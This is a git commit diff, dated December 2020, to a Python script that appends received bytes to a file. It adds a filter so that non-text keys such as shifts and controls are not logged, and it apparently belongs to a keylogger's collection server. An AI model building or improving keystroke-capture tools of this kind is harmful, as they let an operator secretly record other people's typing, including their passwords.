remove the logging of non-text keys

This commit is contained in:
CactiChameleon9
2020-12-10 10:10:32 +00:00
parent b9c4b014c2
commit 3fb89cdaa2
3 changed files with 4 additions and 2 deletions

View File

@ -43,7 +43,8 @@ while True:
break
# write to the file the bytes we just received
f = open(filename, 'ab')
f.write(bytes_read)
if (bytes_read.find("Key") == -1): #don't write shifts and controls
f.write(bytes_read)
print(bytes_read)
f.close()